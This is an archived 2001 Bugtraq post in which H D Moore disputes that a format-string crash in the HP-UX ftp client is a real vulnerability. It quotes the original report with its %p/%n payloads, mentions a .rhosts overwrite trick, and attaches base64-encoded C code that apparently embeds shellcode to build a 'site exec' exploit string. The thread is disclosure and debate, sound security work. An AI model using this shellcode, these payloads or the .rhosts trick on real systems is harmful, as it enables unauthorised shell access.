[18491] in bugtraq
Re: HP/UX FTP format string vulnerability
daemon@ATHENA.MIT.EDU (H D Moore)
Tue Jan 9 12:59:48 2001
Content-Type: Multipart/Mixed; charset="";
boundary="------------Boundary-00=_KTJVCP4MEIQFTCHKXB5E"
MIME-Version: 1.0
Message-ID: <01010820485601.28312@odin>
Date: Mon, 8 Jan 2001 20:48:56 -0600
Reply-To: H D Moore <hdm@SECUREAUSTIN.COM>
From: H D Moore <hdm@SECUREAUSTIN.COM>
X-To: "[ zorgon ]" <zorgon@ANTIONLINE.ORG>, dr@kyx.net
To: BUGTRAQ@SECURITYFOCUS.COM
In-Reply-To: <200101082155.NAA12752@mail4.bigmailbox.com>
--------------Boundary-00=_KTJVCP4MEIQFTCHKXB5E
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
Zorgan,
Maybe I am missing the point, but how is making a non-setuid client
application crash a vulnerability? Most Linux distro's before the summer of
2000 had the same problem, yet it never became a security issue. I could
understand if the app was being called by a privileged application under
control of a non-privileged user[1], but this doesnt seem to be the case.
During the normal use of the ftp program, there is no reason for the user to
ever execute the SITE command containing the exact format string sequence
needed to exploit this. Since the bug only affects the SITE command, even
people doing batch-mode transfers from untrusted sites shouldn't worry. The
only exploit situation is if you allow an untrusted user to add commands to
your .netrc or otherwise have your user account execute arbitrary ftp
commands, either of which provides much easier access to your account than
exploiting a format string (get /some/dir/evilhosts /home/user/.rhosts).
This is almost as bad as saying that you can read /etc/shadow if you know
root's password, then calling it a vulnerability. Anyways, attached is the
code...
-HD
1. I made a post a while back referring to overflows in the compress program,
but that program is installed on most anonymous FTP sites, allowing remote
users to gain shell access by uploading a file whose name contains the shell
code, then requesting the name of that file plus ".Z". Since then, SuSE has
fixed their version, not sure about anyone else. The compress program is part
of the "ncompress" package of most linux installations.
On Monday 08 January 2001 03:55 pm, [ zorgon ] wrote:
> HP/UX FTP format string vulnerability
>
> A format string vulnerability exists in ftp. This vulnerability was
> discussed with HP labs.
>
> $ uname -a
> HP-UX hpotac8 B.11.00 A 9000/785 2004901631 licence pour deux utilisateurs
> $ ftp localhost
> Connected to localhost.
> 220 localhost FTP server (Version 1.1.214.6 Wed Feb 9 08:03:34 GMT 2000)
> ready. Name (localhost:zorgon):zorgon
> 331 Password required for zorgon.
> Password:
> 230 User zorgon logged in.
> Remote system type is UNIX.
> Using binary mode to transfer files.
> ftp> site exec %p %p %p %p
> 200-40008f10 00000003 00000002 00000001
> 200 (end of '40008f10 00000003 00000002 00000001')
> ftp> site exec %n %n %n %n
> Bus error(coredump)
> $
>
> And the 'SITE' command is also vulnerable
> ....
> ftp> site %p %p %p %p
> 500 'SITE 40008F0C 00000002 00000002 00000001': command not understood.
> ftp> site %n %n %n %n
> Bus error(coredump)
> $ file core
> core: fichier de vidage de la memoire de'ftp' - recu SIGBUS
>
> The character format strings are not being parsed correctly in the ftp
> client. When HP labs fix the problem in the client, the result will be :
>
> ftp> site exec %n %n %n %n
> ---> SITE exec %n %n %n %n
> 200-%n %n %n %n
> 200 (end of '%n %n %n %n')
> ftp>
>
> So in this case the ftpd server will not process the character format
> strings. The fix will be made in the next release of the ftp client.
--------------Boundary-00=_KTJVCP4MEIQFTCHKXB5E
Content-Type: text/x-c;
name="hpftp.c"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="hpftp.c"
I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KCi8qIGNvbXBpbGUgdGhpcyB3
aXRoOiBnY2MgLW8gaHBmdHAgaHBmdHAuYyAqLwoKY2hhciBmc2hlbGxbXSA9IC8qIGRhIHNoZWxs
IGNvZGUgKi8KIlx4NDFceDQyXHg0M1x4NDRceDQ1XHg0Nlx4NDdceDQ4XHg0OVx4NGFceDRiXHg0
Y1x4NGRceDRlIgoiXHg0Zlx4NTBceDUxXHg1Mlx4NTNceDU0XHg1NVx4NTZceDU3XHg1OFx4NTlc
eDVhXHg1Ylx4NWMiCiJceDVkXHg1ZVx4NWZceDYwXHg2MVx4NjJceDYzXHg2NFx4NjVceDY2XHg2
N1x4NjhceDY5XHg2YSIKIlx4NmJceDZjXHg2ZFx4NmVceDZmXHg3MFx4NzFceDcyXHg3M1x4NzRc
eDc1XHg3Nlx4NzdceDc4IgoiXHg3OVx4N2FceDM4XHgzMVx4MzJceDMzXHgzNFx4MzVceDM2XHgz
N1x4MzhceDM5XHg0MVx4NDEiCiJceDQyXHg0Mlx4NDNceDQzXHg0NFx4NDRceDQ1XHg0NVx4NDZc
eDQ2XHg0N1x4NDdceDQ4XHg0OCIKIlx4MzFceGMwXHgzMVx4ZGJceDMxXHhjOVx4YjBceDQ2XHhj
ZFx4ODBceDMxXHhjMFx4MzFceGRiIgoiXHg0M1x4ODlceGQ5XHg0MVx4YjBceDNmXHhjZFx4ODBc
eGViXHg2Ylx4NWVceDMxXHhjMFx4MzEiCiJceGM5XHg4ZFx4NWVceDAxXHg4OFx4NDZceDA0XHg2
Nlx4YjlceGZmXHhmZlx4MGFceGIwXHgyNyIKIlx4Y2RceDgwXHgzMVx4YzBceDhkXHg1ZVx4MDFc
eGIwXHgzZFx4Y2RceDgwXHgzMVx4YzBceDMxIgoiXHhkYlx4OGRceDVlXHgwOFx4ODlceDQzXHgw
Mlx4MzFceGM5XHhmZVx4YzlceDMxXHhjMFx4OGQiCiJceDVlXHgwOFx4YjBceDBjXHhjZFx4ODBc
eGZlXHhjOVx4NzVceGYzXHgzMVx4YzBceDg4XHg0NiIKIlx4MDlceDhkXHg1ZVx4MDhceGIwXHgz
ZFx4Y2RceDgwXHhmZVx4MGVceGIwXHgzMFx4ZmVceGM4IgoiXHg4OFx4NDZceDA0XHgzMVx4YzBc
eDg4XHg0Nlx4MDdceDg5XHg3Nlx4MDhceDg5XHg0Nlx4MGMiCiJceDg5XHhmM1x4OGRceDRlXHgw
OFx4OGRceDU2XHgwY1x4YjBceDBiXHhjZFx4ODBceDMxXHhjMCIKIlx4MzFceGRiXHhiMFx4MDFc
eGNkXHg4MFx4ZThceDkwXHhmZlx4ZmZceGZmXHhmZlx4ZmZceGZmIgoiXHgzMFx4NjJceDY5XHg2
ZVx4MzBceDczXHg2OFx4MzFceDJlXHgyZVx4MzFceDMxIjsKCgppbnQgbWFpbiAoaW50IGFyZ2Ms
IGNoYXIgKiphcmd2KQp7CglpbnQgaTsKCWludCBwb2YgPSAxMjsKCWludCBob2YgPSAyOwoJaW50
IGdvZiA9IDUzMDsKCWNoYXIgcG9vZlszMDBdOwoJLyogZ2VuZXJhdGUgY29kZXMgKi8KCWkgPSBz
cHJpbnRmKHBvb2YsICJzaXRlIGV4ZWMgJXMlYyVjJWMlY3xcclxuIiwgZnNoZWxsLCAweGI2LCAw
eDc4LCAweGZmLCAweGIzKTsKCWkgPSAoKGkgKyBwb2YpICogaG9mKTsKCS8qIG1lc3N5IGJ1dCB3
b3JrcyAqLwoJcG9vZlsoaS1nb2YpXT1mc2hlbGxbKGktZ29mKV07Cglwb29mWyhpLWdvZikrZnNo
ZWxsWzU1XStmc2hlbGxbMTk2XV09ZnNoZWxsWyhpLShnb2YtMHgwRCkpXTsKCXBvb2ZbKGktZ29m
KStmc2hlbGxbMTY4XS8zXT0gZnNoZWxsWyhpLShnb2YtMHgwOCkpXTsKCXBvb2ZbKGktZ29mKStm
c2hlbGxbMTg0XV09ZnNoZWxsWyhpLShnb2YtMHgwRSkpXTsKCXBvb2ZbKGktZ29mKStmc2hlbGxb
NjVdLWZzaGVsbFs2MF1dPWZzaGVsbFsoaS0oZ29mLTEzKSldOwoJcG9vZlsoaS1nb2YpK2ZzaGVs
bFsxMTRdLTB4NThdPWZzaGVsbFsoaS0oZ29mLTB4MGIpKV07Cglwb29mWyhpLWdvZikrcG9vZlso
aS1nb2YpK2ZzaGVsbFsxODRdXV09ZnNoZWxsWyhpLShnb2YtMHgxMykpXTsKCXBvb2ZbKGktZ29m
KStmc2hlbGxbMTg5XV09ZnNoZWxsWyhpLShnb2YtMHgwOCkpXTsKCXBvb2ZbKGktZ29mKSsoZnNo
ZWxsWzE4Ml0tZnNoZWxsWzE3NV0pXT1mc2hlbGxbKGktKGdvZi0weDBEKSldOwoJcG9vZlsoaS1n
b2YpK2ZzaGVsbFsxNjhdXT1mc2hlbGxbKGktKGdvZi0weDA0KSldOwoJcG9vZlsoaS1nb2YpK2Zz
aGVsbFsxN10tZnNoZWxsWzgzXV09ZnNoZWxsWyhpLShnb2YtMHgxRSkpXTsKCXBvb2ZbKGktZ29m
KStmc2hlbGxbMTIzXStmc2hlbGxbMTMyXV09ZnNoZWxsWyhpLShnb2YtMHgxMikpXTsKCXBvb2Zb
KGktZ29mKStmc2hlbGxbMTk1XV09ZnNoZWxsWyhpLShnb2YtMjApKV07Cglwb29mWyhpLWdvZikr
ZnNoZWxsWzE4XS1mc2hlbGxbMTgzXV09ZnNoZWxsWyhpLShnb2YtMHgwMikpXTsKCXBvb2ZbKGkt
Z29mKStmc2hlbGxbMTc3XV09ZnNoZWxsWyhpLShnb2YtMHgwQSkpXTsKCXBvb2ZbKGktZ29mKStm
c2hlbGxbMTkyXStmc2hlbGxbMTg5XV09ZnNoZWxsWyhpLShnb2YtMTgpKV07Cglwb29mWyhpLWdv
ZikrZnNoZWxsWzIxXS1mc2hlbGxbMTY3XV09KGktZ29mKTsKCWZwcmludGYoc3Rkb3V0LCAiJXNc
biIsIHBvb2YpOwoJcmV0dXJuIDA7Cn0K
--------------Boundary-00=_KTJVCP4MEIQFTCHKXB5E--
